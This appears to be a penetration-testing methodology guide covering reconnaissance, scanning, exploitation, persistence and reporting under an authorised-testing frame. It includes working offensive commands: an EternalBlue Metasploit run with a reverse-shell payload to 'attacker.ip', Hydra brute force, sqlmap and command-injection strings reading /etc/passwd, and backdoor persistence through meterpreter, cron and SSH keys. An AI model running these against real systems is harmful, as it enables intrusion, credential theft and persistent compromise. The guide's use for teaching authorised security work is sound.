Ethical Hacking Methodology

Purpose

Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.

Prerequisites

Required Environment

Kali Linux installed (persistent or live)

Network access to authorized targets

Written authorization from system owner

Required Knowledge

Basic networking concepts

Linux command-line proficiency

Understanding of web technologies

Familiarity with security concepts

Outputs and Deliverables

Reconnaissance Report - Target information gathered

Vulnerability Assessment - Identified weaknesses

Exploitation Evidence - Proof of concept attacks

Final Report - Executive and technical findings

Core Workflow

Phase 1: Understanding Hacker Types

Classification of security professionals:

White Hat Hackers (Ethical Hackers)

Authorized security professionals

Conduct penetration testing with permission

Goal: Identify and fix vulnerabilities

Also known as: penetration testers, security consultants

Black Hat Hackers (Malicious)

Unauthorized system intrusions

Motivated by profit, revenge, or notoriety

Goal: Steal data, cause damage

Also known as: crackers, criminal hackers

Grey Hat Hackers (Hybrid)

May cross ethical boundaries

Not malicious but may break rules

Often disclose vulnerabilities publicly

Mixed motivations

Other Classifications

Script Kiddies: Use pre-made tools without understanding

Hacktivists: Politically or socially motivated

Nation State: Government-sponsored operatives

Coders: Develop tools and exploits

Phase 2: Reconnaissance

Gather information without direct system interaction:

Passive Reconnaissance

# WHOIS lookup
whois target.com
DNS enumeration

nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS
Subdomain discovery

dnsrecon -d target.com
Email harvesting

theHarvester -d target.com -b all

Google Hacking (OSINT)

# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc
Find login pages

site:target.com inurl:login
site:target.com inurl:admin
Find directory listings

site:target.com intitle:"index of"
Find configuration files

site:target.com filetype:config
site:target.com filetype:env

Google Hacking Database Categories:

Files containing passwords

Sensitive directories

Web server detection

Vulnerable servers

Error messages

Social Media Reconnaissance

LinkedIn: Organizational charts, technologies used

Twitter: Company announcements, employee info

Facebook: Personal information, relationships

Job postings: Technology stack revelations

Phase 3: Scanning

Active enumeration of target systems:

Host Discovery

# Ping sweep
nmap -sn 192.168.1.0/24
ARP scan (local network)

arp-scan -l
Discover live hosts

nmap -sP 192.168.1.0/24

Port Scanning

# TCP SYN scan (stealth)
nmap -sS target.com
Full TCP connect scan

nmap -sT target.com
UDP scan

nmap -sU target.com
All ports scan

nmap -p- target.com
Top 1000 ports with service detection

nmap -sV target.com
Aggressive scan (OS, version, scripts)

nmap -A target.com

Service Enumeration

# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com
Vulnerability scanning

nmap --script=vuln target.com

Common Port Reference

Port	Service	Notes
21	FTP	File transfer
22	SSH	Secure shell
23	Telnet	Unencrypted remote
25	SMTP	Email
53	DNS	Name resolution
80	HTTP	Web
443	HTTPS	Secure web
445	SMB	Windows shares
3306	MySQL	Database
3389	RDP	Remote desktop

Phase 4: Vulnerability Analysis

Identify exploitable weaknesses:

Automated Scanning

# Nikto web scanner
nikto -h http://target.com
OpenVAS (command line)

omp -u admin -w password --xml="<get_tasks/>"
Nessus (via API)

nessuscli scan --target target.com

Web Application Testing (OWASP)

SQL Injection

Cross-Site Scripting (XSS)

Broken Authentication

Security Misconfiguration

Sensitive Data Exposure

XML External Entities (XXE)

Broken Access Control

Insecure Deserialization

Using Components with Known Vulnerabilities

Insufficient Logging & Monitoring

Manual Techniques

# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
Subdomain enumeration

gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
Web technology fingerprinting

whatweb target.com

Phase 5: Exploitation

Actively exploit discovered vulnerabilities:

Metasploit Framework

# Start Metasploit
msfconsole
Search for exploits

msf> search type:exploit name:smb
Use specific exploit

msf> use exploit/windows/smb/ms17_010_eternalblue
Set target

msf> set RHOSTS target.com
Set payload

msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip
Execute

msf> exploit

Password Attacks

# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com
John the Ripper

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Web Exploitation

# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables
XSS testing

Manual: <script>alert('XSS')</script>
Command injection testing

; ls -la

| cat /etc/passwd

Phase 6: Maintaining Access

Establish persistent access:

Backdoors

# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
SSH key persistence

Add attacker's public key to ~/.ssh/authorized_keys
Cron job persistence

echo "    * /tmp/backdoor.sh" >> /etc/crontab

Privilege Escalation

# Linux enumeration
linpeas.sh
linux-exploit-suggester.sh
Windows enumeration

winpeas.exe
windows-exploit-suggester.py
Check SUID binaries (Linux)

find / -perm -4000 2>/dev/null
Check sudo permissions

sudo -l

Covering Tracks (Ethical Context)

Document all actions taken

Maintain logs for reporting

Avoid unnecessary system changes

Clean up test files and backdoors

Phase 7: Reporting

Document findings professionally:

Report Structure

Executive Summary

- High-level findings
- Business impact
- Risk ratings
- Remediation priorities

Technical Findings

- Vulnerability details
- Proof of concept
- Screenshots/evidence
- Affected systems

Risk Ratings

- Critical: Immediate action required
- High: Address within 24-48 hours
- Medium: Address within 1 week
- Low: Address within 1 month
- Informational: Best practice recommendations

Remediation Recommendations

- Specific fixes for each finding
- Short-term mitigations
- Long-term solutions
- Resource requirements

Appendices

- Detailed scan outputs
- Tool configurations
- Testing timeline
- Scope and methodology

Phase 8: Common Attack Types

Phishing

Email-based credential theft

Fake login pages

Malicious attachments

Social engineering component

Malware Types

Virus: Self-replicating, needs host file

Worm: Self-propagating across networks

Trojan: Disguised as legitimate software

Ransomware: Encrypts files for ransom

Rootkit: Hidden system-level access

Spyware: Monitors user activity

Network Attacks

Man-in-the-Middle (MITM)

ARP Spoofing

DNS Poisoning

DDoS (Distributed Denial of Service)

Phase 9: Kali Linux Setup

Install penetration testing platform:

Hard Disk Installation

Download ISO from kali.org

Boot from installation media

Select "Graphical Install"

Configure language, location, keyboard

Set hostname and root password

Partition disk (Guided - use entire disk)

Install GRUB bootloader

Reboot and login

Live USB (Persistent)

# Create bootable USB
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
Create persistence partition

gparted /dev/sdb
Add ext4 partition labeled "persistence"
Configure persistence

mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usb

Phase 10: Ethical Guidelines

Legal Requirements

Obtain written authorization

Define scope clearly

Document all testing activities

Report all findings to client

Maintain confidentiality

Professional Conduct

Work ethically with integrity

Respect privacy of data accessed

Avoid unnecessary system damage

Execute planned tests only

Never use findings for personal gain

Quick Reference

Penetration Testing Lifecycle

Stage	Purpose	Key Tools
Reconnaissance	Gather information	theHarvester, WHOIS, Google
Scanning	Enumerate targets	Nmap, Nikto, Gobuster
Exploitation	Gain access	Metasploit, SQLMap, Hydra
Maintaining Access	Persistence	Meterpreter, SSH keys
Reporting	Document findings	Report templates

Essential Commands

Command	Purpose
`nmap -sV target`	Port and service scan
`nikto -h target`	Web vulnerability scan
`msfconsole`	Start Metasploit
`hydra -l user -P list ssh://target`	SSH brute force
`sqlmap -u "url?id=1" --dbs`	SQL injection

Constraints and Limitations

Authorization Required

Never test without written permission

Stay within defined scope

Report unauthorized access attempts

Professional Standards

Follow rules of engagement

Maintain client confidentiality

Document methodology used

Provide actionable recommendations

Troubleshooting

Scans Blocked

Solutions:

Use slower scan rates

Try different scanning techniques

Use proxy or VPN

Fragment packets

Exploits Failing

Solutions:

Verify target vulnerability exists

Check payload compatibility

Adjust exploit parameters

Try alternative exploits